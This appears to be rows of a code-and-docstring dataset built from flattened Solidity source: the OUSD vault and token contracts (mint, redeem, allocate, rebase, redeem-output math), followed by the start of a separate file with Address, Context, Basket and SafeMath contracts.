* @dev Remove a contract address to the non rebasing exception list.
*/
function rebaseOptOut() public nonReentrant {
require(!_isNonRebasingAccount(msg.sender), "Account has not opted in");
// Increase non rebasing supply
nonRebasingSupply = nonRebasingSupply.add(balanceOf(msg.sender));
// Set fixed credits per token
nonRebasingCreditsPerToken[msg.sender] = rebasingCreditsPerToken;
// Decrease rebasing credits, total supply remains unchanged so no
// adjustment necessary
rebasingCredits = rebasingCredits.sub(_creditBalances[msg.sender]);
// Mark explicitly opted out of rebasing
rebaseState[msg.sender] = RebaseOptions.OptOut;
}
/**
* @dev Modify the supply without minting new tokens. This uses a change in
* the exchange rate between "credits" and OUSD tokens to change balances.
* @param _newTotalSupply New total supply of OUSD.
* @return uint256 representing the new total supply.
*/
function changeSupply(uint256 _newTotalSupply)
external
onlyVault
nonReentrant
{
require(_totalSupply > 0, "Cannot increase 0 supply");
if (_totalSupply == _newTotalSupply) {
emit TotalSupplyUpdated(
_totalSupply,
rebasingCredits,
rebasingCreditsPerToken
);
return;
}
_totalSupply = _newTotalSupply > MAX_SUPPLY
? MAX_SUPPLY
: _newTotalSupply;
rebasingCreditsPerToken = rebasingCredits.divPrecisely(
_totalSupply.sub(nonRebasingSupply)
);
require(rebasingCreditsPerToken > 0, "Invalid change in supply");
_totalSupply = rebasingCredits
.divPrecisely(rebasingCreditsPerToken)
.add(nonRebasingSupply);
emit TotalSupplyUpdated(
_totalSupply,
rebasingCredits,
rebasingCreditsPerToken
);
}
}
// File: contracts/interfaces/IBasicToken.sol
pragma solidity 0.5.11;
interface IBasicToken {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// File: contracts/utils/Helpers.sol
pragma solidity 0.5.11;
library Helpers {
/**
* @notice Fetch the `symbol()` from an ERC20 token
* @dev Grabs the `symbol()` from a contract
* @param _token Address of the ERC20 token
* @return string Symbol of the ERC20 token
*/
function getSymbol(address _token) internal view returns (string memory) {
string memory symbol = IBasicToken(_token).symbol();
return symbol;
}
/**
* @notice Fetch the `decimals()` from an ERC20 token
* @dev Grabs the `decimals()` from a contract and fails if
* the decimal value does not live within a certain range
* @param _token Address of the ERC20 token
* @return uint256 Decimals of the ERC20 token
*/
function getDecimals(address _token) internal view returns (uint256) {
uint256 decimals = IBasicToken(_token).decimals();
require(
decimals >= 4 && decimals <= 18,
"Token must have sufficient decimal places"
);
return decimals;
}
}
// File: contracts/vault/VaultStorage.sol
pragma solidity 0.5.11;
/**
* @title OUSD VaultStorage Contract
* @notice The VaultStorage contract defines the storage for the Vault contracts
* @author Origin Protocol Inc
*/
contract VaultStorage is Initializable, Governable {
using SafeMath for uint256;
using StableMath for uint256;
using SafeMath for int256;
using SafeERC20 for IERC20;
event AssetSupported(address _asset);
event AssetDefaultStrategyUpdated(address _asset, address _strategy);
event StrategyApproved(address _addr);
event StrategyRemoved(address _addr);
event Mint(address _addr, uint256 _value);
event Redeem(address _addr, uint256 _value);
event CapitalPaused();
event CapitalUnpaused();
event RebasePaused();
event RebaseUnpaused();
event VaultBufferUpdated(uint256 _vaultBuffer);
event RedeemFeeUpdated(uint256 _redeemFeeBps);
event PriceProviderUpdated(address _priceProvider);
event AllocateThresholdUpdated(uint256 _threshold);
event RebaseThresholdUpdated(uint256 _threshold);
event UniswapUpdated(address _address);
event StrategistUpdated(address _address);
event MaxSupplyDiffChanged(uint256 maxSupplyDiff);
event YieldDistribution(address _to, uint256 _yield, uint256 _fee);
event TrusteeFeeBpsChanged(uint256 _basis);
event TrusteeAddressChanged(address _address);
// Assets supported by the Vault, i.e. Stablecoins
struct Asset {
bool isSupported;
}
mapping(address => Asset) assets;
address[] allAssets;
// Strategies approved for use by the Vault
struct Strategy {
bool isSupported;
uint256 _deprecated; // Deprecated storage slot
}
mapping(address => Strategy) strategies;
address[] allStrategies;
// Address of the Oracle price provider contract
address public priceProvider;
// Pausing bools
bool public rebasePaused = false;
bool public capitalPaused = true;
// Redemption fee in basis points
uint256 public redeemFeeBps;
// Buffer of assets to keep in Vault to handle (most) withdrawals
uint256 public vaultBuffer;
// Mints over this amount automatically allocate funds. 18 decimals.
uint256 public autoAllocateThreshold;
// Mints over this amount automatically rebase. 18 decimals.
uint256 public rebaseThreshold;
OUSD oUSD;
//keccak256("OUSD.vault.governor.admin.impl");
bytes32 constant adminImplPosition = 0xa2bd3d3cf188a41358c8b401076eb59066b09dec5775650c0de4c55187d17bd9;
// Address of the contract responsible for post rebase syncs with AMMs
address private _deprecated_rebaseHooksAddr = address(0);
// Address of Uniswap
address public uniswapAddr = address(0);
// Address of the Strategist
address public strategistAddr = address(0);
// Mapping of asset address to the Strategy that they should automatically
// be allocated to
mapping(address => address) public assetDefaultStrategies;
uint256 public maxSupplyDiff;
// Trustee contract that can collect a percentage of yield
address public trusteeAddress;
// Amount of yield collected in basis points
uint256 public trusteeFeeBps;
/**
* @dev set the implementation for the admin, this needs to be in a base class else we cannot set it
* @param newImpl address of the implementation
*/
function setAdminImpl(address newImpl) external onlyGovernor {
require(
Address.isContract(newImpl),
"new implementation is not a contract"
);
bytes32 position = adminImplPosition;
assembly {
sstore(position, newImpl)
}
}
}
// File: contracts/interfaces/IOracle.sol
pragma solidity 0.5.11;
interface IOracle {
/**
* @dev returns the asset price in USD, 8 decimal digits.
*/
function price(address asset) external view returns (uint256);
}
// File: contracts/interfaces/IVault.sol
pragma solidity 0.5.11;
interface IVault {
event AssetSupported(address _asset);
event StrategyApproved(address _addr);
event StrategyRemoved(address _addr);
event Mint(address _addr, uint256 _value);
event Redeem(address _addr, uint256 _value);
event DepositsPaused();
event DepositsUnpaused();
// Governable.sol
function transferGovernance(address _newGovernor) external;
function claimGovernance() external;
function governor() external view returns (address);
// VaultAdmin.sol
function setPriceProvider(address _priceProvider) external;
function priceProvider() external view returns (address);
function setRedeemFeeBps(uint256 _redeemFeeBps) external;
function redeemFeeBps() external view returns (uint256);
function setVaultBuffer(uint256 _vaultBuffer) external;
function vaultBuffer() external view returns (uint256);
function setAutoAllocateThreshold(uint256 _threshold) external;
function autoAllocateThreshold() external view returns (uint256);
function setRebaseThreshold(uint256 _threshold) external;
function rebaseThreshold() external view returns (uint256);
function setStrategistAddr(address _address) external;
function strategistAddr() external view returns (address);
function setUniswapAddr(address _address) external;
function uniswapAddr() external view returns (address);
function setMaxSupplyDiff(uint256 _maxSupplyDiff) external;
function maxSupplyDiff() external view returns (uint256);
function setTrusteeAddress(address _address) external;
function trusteeAddress() external view returns (address);
function setTrusteeFeeBps(uint256 _basis) external;
function trusteeFeeBps() external view returns (uint256);
function supportAsset(address _asset) external;
function approveStrategy(address _addr) external;
function removeStrategy(address _addr) external;
function setAssetDefaultStrategy(address _asset, address _strategy)
external;
function assetDefaultStrategies(address _asset)
external
view
returns (address);
function pauseRebase() external;
function unpauseRebase() external;
function rebasePaused() external view returns (bool);
function pauseCapital() external;
function unpauseCapital() external;
function capitalPaused() external view returns (bool);
function transferToken(address _asset, uint256 _amount) external;
function harvest() external;
function harvest(address _strategyAddr) external;
function priceUSDMint(address asset) external view returns (uint256);
function priceUSDRedeem(address asset) external view returns (uint256);
function withdrawAllFromStrategy(address _strategyAddr) external;
function withdrawAllFromStrategies() external;
// VaultCore.sol
function mint(
address _asset,
uint256 _amount,
uint256 _minimumOusdAmount
) external;
function mintMultiple(
address[] calldata _assets,
uint256[] calldata _amount,
uint256 _minimumOusdAmount
) external;
function redeem(uint256 _amount, uint256 _minimumUnitAmount) external;
function redeemAll(uint256 _minimumUnitAmount) external;
function allocate() external;
function reallocate(
address _strategyFromAddress,
address _strategyToAddress,
address[] calldata _assets,
uint256[] calldata _amounts
) external;
function rebase() external;
function totalValue() external view returns (uint256 value);
function checkBalance() external view returns (uint256);
function checkBalance(address _asset) external view returns (uint256);
function calculateRedeemOutputs(uint256 _amount)
external
view
returns (uint256[] memory);
function getAssetCount() external view returns (uint256);
function getAllAssets() external view returns (address[] memory);
function getStrategyCount() external view returns (uint256);
function isSupportedAsset(address _asset) external view returns (bool);
}
// File: contracts/interfaces/IBuyback.sol
pragma solidity 0.5.11;
interface IBuyback {
function swap() external;
}
// File: contracts/vault/VaultCore.sol
pragma solidity 0.5.11;
/**
* @title OUSD Vault Contract
* @notice The Vault contract stores assets. On a deposit, OUSD will be minted
and sent to the depositor. On a withdrawal, OUSD will be burned and
assets will be sent to the withdrawer. The Vault accepts deposits of
interest form yield bearing strategies which will modify the supply
of OUSD.
* @author Origin Protocol Inc
*/
contract VaultCore is VaultStorage {
uint256 constant MAX_UINT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
/**
* @dev Verifies that the rebasing is not paused.
*/
modifier whenNotRebasePaused() {
require(!rebasePaused, "Rebasing paused");
_;
}
/**
* @dev Verifies that the deposits are not paused.
*/
modifier whenNotCapitalPaused() {
require(!capitalPaused, "Capital paused");
_;
}
/**
* @dev Deposit a supported asset and mint OUSD.
* @param _asset Address of the asset being deposited
* @param _amount Amount of the asset being deposited
* @param _minimumOusdAmount Minimum OUSD to mint
*/
function mint(
address _asset,
uint256 _amount,
uint256 _minimumOusdAmount
) external whenNotCapitalPaused nonReentrant {
require(assets[_asset].isSupported, "Asset is not supported");
require(_amount > 0, "Amount must be greater than 0");
uint256 price = IOracle(priceProvider).price(_asset);
if (price > 1e8) {
price = 1e8;
}
uint256 assetDecimals = Helpers.getDecimals(_asset);
uint256 unitAdjustedDeposit = _amount.scaleBy(int8(18 - assetDecimals));
uint256 priceAdjustedDeposit = _amount.mulTruncateScale(
price.scaleBy(int8(10)), // 18-8 because oracles have 8 decimals precision
10**assetDecimals
);
if (_minimumOusdAmount > 0) {
require(
priceAdjustedDeposit >= _minimumOusdAmount,
"Mint amount lower than minimum"
);
}
emit Mint(msg.sender, priceAdjustedDeposit);
// Rebase must happen before any transfers occur.
if (unitAdjustedDeposit >= rebaseThreshold && !rebasePaused) {
_rebase();
}
// Mint matching OUSD
oUSD.mint(msg.sender, priceAdjustedDeposit);
// Transfer the deposited coins to the vault
IERC20 asset = IERC20(_asset);
asset.safeTransferFrom(msg.sender, address(this), _amount);
if (unitAdjustedDeposit >= autoAllocateThreshold) {
_allocate();
}
}
/**
* @dev Mint for multiple assets in the same call.
* @param _assets Addresses of assets being deposited
* @param _amounts Amount of each asset at the same index in the _assets
* to deposit.
* @param _minimumOusdAmount Minimum OUSD to mint
*/
function mintMultiple(
address[] calldata _assets,
uint256[] calldata _amounts,
uint256 _minimumOusdAmount
) external whenNotCapitalPaused nonReentrant {
require(_assets.length == _amounts.length, "Parameter length mismatch");
uint256 unitAdjustedTotal = 0;
uint256 priceAdjustedTotal = 0;
uint256[] memory assetPrices = _getAssetPrices(false);
for (uint256 j = 0; j < _assets.length; j++) {
// In memoriam
require(assets[_assets[j]].isSupported, "Asset is not supported");
require(_amounts[j] > 0, "Amount must be greater than 0");
for (uint256 i = 0; i < allAssets.length; i++) {
if (_assets[j] == allAssets[i]) {
uint256 assetDecimals = Helpers.getDecimals(allAssets[i]);
uint256 price = assetPrices[i];
if (price > 1e18) {
price = 1e18;
}
unitAdjustedTotal = unitAdjustedTotal.add(
_amounts[j].scaleBy(int8(18 - assetDecimals))
);
priceAdjustedTotal = priceAdjustedTotal.add(
_amounts[j].mulTruncateScale(price, 10**assetDecimals)
);
}
}
}
if (_minimumOusdAmount > 0) {
require(
priceAdjustedTotal >= _minimumOusdAmount,
"Mint amount lower than minimum"
);
}
emit Mint(msg.sender, priceAdjustedTotal);
// Rebase must happen before any transfers occur.
if (unitAdjustedTotal >= rebaseThreshold && !rebasePaused) {
_rebase();
}
oUSD.mint(msg.sender, priceAdjustedTotal);
for (uint256 i = 0; i < _assets.length; i++) {
IERC20 asset = IERC20(_assets[i]);
asset.safeTransferFrom(msg.sender, address(this), _amounts[i]);
}
if (unitAdjustedTotal >= autoAllocateThreshold) {
_allocate();
}
}
/**
* @dev Withdraw a supported asset and burn OUSD.
* @param _amount Amount of OUSD to burn
* @param _minimumUnitAmount Minimum stablecoin units to receive in return
*/
function redeem(uint256 _amount, uint256 _minimumUnitAmount)
public
whenNotCapitalPaused
nonReentrant
{
if (_amount > rebaseThreshold && !rebasePaused) {
_rebase();
}
_redeem(_amount, _minimumUnitAmount);
}
/**
* @dev Withdraw a supported asset and burn OUSD.
* @param _amount Amount of OUSD to burn
* @param _minimumUnitAmount Minimum stablecoin units to receive in return
*/
function _redeem(uint256 _amount, uint256 _minimumUnitAmount) internal {
require(_amount > 0, "Amount must be greater than 0");
uint256 _totalSupply = oUSD.totalSupply();
uint256 _backingValue = _totalValue();
if (maxSupplyDiff > 0) {
// Allow a max difference of maxSupplyDiff% between
// backing assets value and OUSD total supply
uint256 diff = _totalSupply.divPrecisely(_backingValue);
require(
(diff > 1e18 ? diff.sub(1e18) : uint256(1e18).sub(diff)) <=
maxSupplyDiff,
"Backing supply liquidity error"
);
}
emit Redeem(msg.sender, _amount);
// Calculate redemption outputs
uint256[] memory outputs = _calculateRedeemOutputs(_amount);
// Send outputs
for (uint256 i = 0; i < allAssets.length; i++) {
if (outputs[i] == 0) continue;
IERC20 asset = IERC20(allAssets[i]);
if (asset.balanceOf(address(this)) >= outputs[i]) {
// Use Vault funds first if sufficient
asset.safeTransfer(msg.sender, outputs[i]);
} else {
address strategyAddr = assetDefaultStrategies[allAssets[i]];
if (strategyAddr != address(0)) {
// Nothing in Vault, but something in Strategy, send from there
IStrategy strategy = IStrategy(strategyAddr);
strategy.withdraw(msg.sender, allAssets[i], outputs[i]);
} else {
// Cant find funds anywhere
revert("Liquidity error");
}
}
}
if (_minimumUnitAmount > 0) {
uint256 unitTotal = 0;
for (uint256 i = 0; i < outputs.length; i++) {
uint256 assetDecimals = Helpers.getDecimals(allAssets[i]);
unitTotal = unitTotal.add(
outputs[i].scaleBy(int8(18 - assetDecimals))
);
}
require(
unitTotal >= _minimumUnitAmount,
"Redeem amount lower than minimum"
);
}
oUSD.burn(msg.sender, _amount);
// Until we can prove that we won't affect the prices of our assets
// by withdrawing them, this should be here.
// It's possible that a strategy was off on its asset total, perhaps
// a reward token sold for more or for less than anticipated.
if (_amount > rebaseThreshold && !rebasePaused) {
_rebase();
}
}
/**
* @notice Withdraw a supported asset and burn all OUSD.
* @param _minimumUnitAmount Minimum stablecoin units to receive in return
*/
function redeemAll(uint256 _minimumUnitAmount)
external
whenNotCapitalPaused
nonReentrant
{
// Unfortunately we have to do balanceOf twice, the rebase may change
// the account balance
if (oUSD.balanceOf(msg.sender) > rebaseThreshold && !rebasePaused) {
_rebase();
}
_redeem(oUSD.balanceOf(msg.sender), _minimumUnitAmount);
}
/**
* @notice Allocate unallocated funds on Vault to strategies.
* @dev Allocate unallocated funds on Vault to strategies.
**/
function allocate() public whenNotCapitalPaused nonReentrant {
_allocate();
}
/**
* @notice Allocate unallocated funds on Vault to strategies.
* @dev Allocate unallocated funds on Vault to strategies.
**/
function _allocate() internal {
uint256 vaultValue = _totalValueInVault();
// Nothing in vault to allocate
if (vaultValue == 0) return;
uint256 strategiesValue = _totalValueInStrategies();
// We have a method that does the same as this, gas optimisation
uint256 calculatedTotalValue = vaultValue.add(strategiesValue);
// We want to maintain a buffer on the Vault so calculate a percentage
// modifier to multiply each amount being allocated by to enforce the
// vault buffer
uint256 vaultBufferModifier;
if (strategiesValue == 0) {
// Nothing in Strategies, allocate 100% minus the vault buffer to
// strategies
vaultBufferModifier = uint256(1e18).sub(vaultBuffer);
} else {
vaultBufferModifier = vaultBuffer.mul(calculatedTotalValue).div(
vaultValue
);
if (1e18 > vaultBufferModifier) {
// E.g. 1e18 - (1e17 * 10e18)/5e18 = 8e17
// (5e18 * 8e17) / 1e18 = 4e18 allocated from Vault
vaultBufferModifier = uint256(1e18).sub(vaultBufferModifier);
} else {
// We need to let the buffer fill
return;
}
}
if (vaultBufferModifier == 0) return;
// Iterate over all assets in the Vault and allocate the the appropriate
// strategy
for (uint256 i = 0; i < allAssets.length; i++) {
IERC20 asset = IERC20(allAssets[i]);
uint256 assetBalance = asset.balanceOf(address(this));
// No balance, nothing to do here
if (assetBalance == 0) continue;
// Multiply the balance by the vault buffer modifier and truncate
// to the scale of the asset decimals
uint256 allocateAmount = assetBalance.mulTruncate(
vaultBufferModifier
);
address depositStrategyAddr = assetDefaultStrategies[address(
asset
)];
if (depositStrategyAddr != address(0) && allocateAmount > 0) {
IStrategy strategy = IStrategy(depositStrategyAddr);
// Transfer asset to Strategy and call deposit method to
// mint or take required action
asset.safeTransfer(address(strategy), allocateAmount);
strategy.deposit(address(asset), allocateAmount);
}
}
// Harvest for all reward tokens above reward liquidation threshold
for (uint256 i = 0; i < allStrategies.length; i++) {
IStrategy strategy = IStrategy(allStrategies[i]);
address rewardTokenAddress = strategy.rewardTokenAddress();
if (rewardTokenAddress != address(0)) {
uint256 liquidationThreshold = strategy
.rewardLiquidationThreshold();
if (liquidationThreshold == 0) {
// No threshold set, always harvest from strategy
IVault(address(this)).harvest(allStrategies[i]);
} else {
// Check balance against liquidation threshold
// Note some strategies don't hold the reward token balance
// on their contract so the liquidation threshold should be
// set to 0
IERC20 rewardToken = IERC20(rewardTokenAddress);
uint256 rewardTokenAmount = rewardToken.balanceOf(
allStrategies[i]
);
if (rewardTokenAmount >= liquidationThreshold) {
IVault(address(this)).harvest(allStrategies[i]);
}
}
}
}
// Trigger OGN Buyback
IBuyback(trusteeAddress).swap();
}
/**
* @dev Calculate the total value of assets held by the Vault and all
* strategies and update the supply of OUSD.
*/
function rebase() public whenNotRebasePaused nonReentrant {
_rebase();
}
/**
* @dev Calculate the total value of assets held by the Vault and all
* strategies and update the supply of OUSD, optionaly sending a
* portion of the yield to the trustee.
*/
function _rebase() internal whenNotRebasePaused {
uint256 ousdSupply = oUSD.totalSupply();
if (ousdSupply == 0) {
return;
}
uint256 vaultValue = _totalValue();
// Yield fee collection
address _trusteeAddress = trusteeAddress; // gas savings
if (_trusteeAddress != address(0) && (vaultValue > ousdSupply)) {
uint256 yield = vaultValue.sub(ousdSupply);
uint256 fee = yield.mul(trusteeFeeBps).div(10000);
require(yield > fee, "Fee must not be greater than yield");
if (fee > 0) {
oUSD.mint(_trusteeAddress, fee);
}
emit YieldDistribution(_trusteeAddress, yield, fee);
}
// Only rachet OUSD supply upwards
ousdSupply = oUSD.totalSupply(); // Final check should use latest value
if (vaultValue > ousdSupply) {
oUSD.changeSupply(vaultValue);
}
}
/**
* @dev Determine the total value of assets held by the vault and its
* strategies.
* @return uint256 value Total value in USD (1e18)
*/
function totalValue() external view returns (uint256 value) {
value = _totalValue();
}
/**
* @dev Internal Calculate the total value of the assets held by the
* vault and its strategies.
* @return uint256 value Total value in USD (1e18)
*/
function _totalValue() internal view returns (uint256 value) {
return _totalValueInVault().add(_totalValueInStrategies());
}
/**
* @dev Internal to calculate total value of all assets held in Vault.
* @return uint256 Total value in ETH (1e18)
*/
function _totalValueInVault() internal view returns (uint256 value) {
for (uint256 y = 0; y < allAssets.length; y++) {
IERC20 asset = IERC20(allAssets[y]);
uint256 assetDecimals = Helpers.getDecimals(allAssets[y]);
uint256 balance = asset.balanceOf(address(this));
if (balance > 0) {
value = value.add(balance.scaleBy(int8(18 - assetDecimals)));
}
}
}
/**
* @dev Internal to calculate total value of all assets held in Strategies.
* @return uint256 Total value in ETH (1e18)
*/
function _totalValueInStrategies() internal view returns (uint256 value) {
for (uint256 i = 0; i < allStrategies.length; i++) {
value = value.add(_totalValueInStrategy(allStrategies[i]));
}
}
/**
* @dev Internal to calculate total value of all assets held by strategy.
* @param _strategyAddr Address of the strategy
* @return uint256 Total value in ETH (1e18)
*/
function _totalValueInStrategy(address _strategyAddr)
internal
view
returns (uint256 value)
{
IStrategy strategy = IStrategy(_strategyAddr);
for (uint256 y = 0; y < allAssets.length; y++) {
uint256 assetDecimals = Helpers.getDecimals(allAssets[y]);
if (strategy.supportsAsset(allAssets[y])) {
uint256 balance = strategy.checkBalance(allAssets[y]);
if (balance > 0) {
value = value.add(
balance.scaleBy(int8(18 - assetDecimals))
);
}
}
}
}
/**
* @notice Get the balance of an asset held in Vault and all strategies.
* @param _asset Address of asset
* @return uint256 Balance of asset in decimals of asset
*/
function checkBalance(address _asset) external view returns (uint256) {
return _checkBalance(_asset);
}
/**
* @notice Get the balance of an asset held in Vault and all strategies.
* @param _asset Address of asset
* @return uint256 Balance of asset in decimals of asset
*/
function _checkBalance(address _asset)
internal
view
returns (uint256 balance)
{
IERC20 asset = IERC20(_asset);
balance = asset.balanceOf(address(this));
for (uint256 i = 0; i < allStrategies.length; i++) {
IStrategy strategy = IStrategy(allStrategies[i]);
if (strategy.supportsAsset(_asset)) {
balance = balance.add(strategy.checkBalance(_asset));
}
}
}
/**
* @notice Get the balance of all assets held in Vault and all strategies.
* @return uint256 Balance of all assets (1e18)
*/
function _checkBalance() internal view returns (uint256 balance) {
for (uint256 i = 0; i < allAssets.length; i++) {
uint256 assetDecimals = Helpers.getDecimals(allAssets[i]);
balance = balance.add(
_checkBalance(allAssets[i]).scaleBy(int8(18 - assetDecimals))
);
}
}
/**
* @notice Calculate the outputs for a redeem function, i.e. the mix of
* coins that will be returned
*/
function calculateRedeemOutputs(uint256 _amount)
external
view
returns (uint256[] memory)
{
return _calculateRedeemOutputs(_amount);
}
/**
* @notice Calculate the outputs for a redeem function, i.e. the mix of
* coins that will be returned.
* @return Array of amounts respective to the supported assets
*/
function _calculateRedeemOutputs(uint256 _amount)
internal
view
returns (uint256[] memory outputs)
{
// We always give out coins in proportion to how many we have,
// Now if all coins were the same value, this math would easy,
// just take the percentage of each coin, and multiply by the
// value to be given out. But if coins are worth more than $1,
// then we would end up handing out too many coins. We need to
// adjust by the total value of coins.
//
// To do this, we total up the value of our coins, by their
// percentages. Then divide what we would otherwise give out by
// this number.
//
// Let say we have 100 DAI at $1.06 and 200 USDT at $1.00.
// So for every 1 DAI we give out, we'll be handing out 2 USDT
// Our total output ratio is: 33% * 1.06 + 66% * 1.00 = 1.02
//
// So when calculating the output, we take the percentage of
// each coin, times the desired output value, divided by the
// totalOutputRatio.
//
// For example, withdrawing: 30 OUSD:
// DAI 33% * 30 / 1.02 = 9.80 DAI
// USDT = 66 % * 30 / 1.02 = 19.60 USDT
//
// Checking these numbers:
// 9.80 DAI * 1.06 = $10.40
// 19.60 USDT * 1.00 = $19.60
//
// And so the user gets $10.40 + $19.60 = $30 worth of value.
uint256 assetCount = getAssetCount();
uint256[] memory assetPrices = _getAssetPrices(true);
uint256[] memory assetBalances = new uint256[](assetCount);
uint256[] memory assetDecimals = new uint256[](assetCount);
uint256 totalBalance = 0;
uint256 totalOutputRatio = 0;
outputs = new uint256[](assetCount);
// Calculate redeem fee
if (redeemFeeBps > 0) {
uint256 redeemFee = _amount.mul(redeemFeeBps).div(10000);
_amount = _amount.sub(redeemFee);
}
// Calculate assets balances and decimals once,
// for a large gas savings.
for (uint256 i = 0; i < allAssets.length; i++) {
uint256 balance = _checkBalance(allAssets[i]);
uint256 decimals = Helpers.getDecimals(allAssets[i]);
assetBalances[i] = balance;
assetDecimals[i] = decimals;
totalBalance = totalBalance.add(
balance.scaleBy(int8(18 - decimals))
);
}
// Calculate totalOutputRatio
for (uint256 i = 0; i < allAssets.length; i++) {
uint256 price = assetPrices[i];
// Never give out more than one
// stablecoin per dollar of OUSD
if (price < 1e18) {
price = 1e18;
}
uint256 ratio = assetBalances[i]
.scaleBy(int8(18 - assetDecimals[i]))
.mul(price)
.div(totalBalance);
totalOutputRatio = totalOutputRatio.add(ratio);
}
// Calculate final outputs
uint256 factor = _amount.divPrecisely(totalOutputRatio);
for (uint256 i = 0; i < allAssets.length; i++) {
outputs[i] = assetBalances[i].mul(factor).div(totalBalance);
}
}
/**
* @notice Get an array of the supported asset prices in USD.
* @return uint256[] Array of asset prices in USD (1e18)
*/
function _getAssetPrices(bool useMax)
internal
view
returns (uint256[] memory assetPrices)
{
assetPrices = new uint256[](getAssetCount());
IOracle oracle = IOracle(priceProvider);
// Price from Oracle is returned with 8 decimals
// _amount is in assetDecimals
for (uint256 i = 0; i < allAssets.length; i++) {
assetPrices[i] = oracle.price(allAssets[i]).scaleBy(int8(18 - 8));
}
}
/***************************************
Utils
****************************************/
/**
* @dev Return the number of assets suppported by the Vault.
*/
function getAssetCount() public view returns (uint256) {
return allAssets.length;
}
/**
* @dev Return all asset addresses in order
*/
function getAllAssets() external view returns (address[] memory) {
return allAssets;
}
/**
* @dev Return the number of strategies active on the Vault.
*/
function getStrategyCount() external view returns (uint256) {
return allStrategies.length;
}
function isSupportedAsset(address _asset) external view returns (bool) {
return assets[_asset].isSupported;
}
/**
* @dev Falldown to the admin implementation
* @notice This is a catch all for all functions not declared in core
*/
function() external payable {
bytes32 slot = adminImplPosition;
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, sload(slot), 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize)
}
default {
return(0, returndatasize)
}
}
}
}
|
Get the balance of all assets held in Vault and all strategies. return uint256 Balance of all assets (1e18)/
|
function _checkBalance() internal view returns (uint256 balance) {
for (uint256 i = 0; i < allAssets.length; i++) {
uint256 assetDecimals = Helpers.getDecimals(allAssets[i]);
balance = balance.add(
_checkBalance(allAssets[i]).scaleBy(int8(18 - assetDecimals))
);
}
}
| 1,140,834 |
pragma solidity 0.5.7;
// produced by the Solididy File Flattener (c) David Appleton 2018
// contact : [email protected]
// released under Apache 2.0 licence
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Basket {
address[] public tokens;
mapping(address => uint256) public weights; // unit: aqToken/RSV
mapping(address => bool) public has;
// INVARIANT: {addr | addr in tokens} == {addr | has[addr] == true}
// SECURITY PROPERTY: The value of prev is always a Basket, and cannot be set by any user.
// WARNING: A basket can be of size 0. It is the Manager's responsibility
// to ensure Issuance does not happen against an empty basket.
/// Construct a new basket from an old Basket `prev`, and a list of tokens and weights with
/// which to update `prev`. If `prev == address(0)`, act like it's an empty basket.
constructor(Basket trustedPrev, address[] memory _tokens, uint256[] memory _weights) public {
require(_tokens.length == _weights.length, "Basket: unequal array lengths");
// Initialize data from input arrays
tokens = new address[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
require(!has[_tokens[i]], "duplicate token entries");
weights[_tokens[i]] = _weights[i];
has[_tokens[i]] = true;
tokens[i] = _tokens[i];
}
// If there's a previous basket, copy those of its contents not already set.
if (trustedPrev != Basket(0)) {
for (uint256 i = 0; i < trustedPrev.size(); i++) {
address tok = trustedPrev.tokens(i);
if (!has[tok]) {
weights[tok] = trustedPrev.weights(tok);
has[tok] = true;
tokens.push(tok);
}
}
}
require(tokens.length <= 10, "Basket: bad length");
}
function getTokens() external view returns(address[] memory) {
return tokens;
}
function size() external view returns(uint256) {
return tokens.length;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
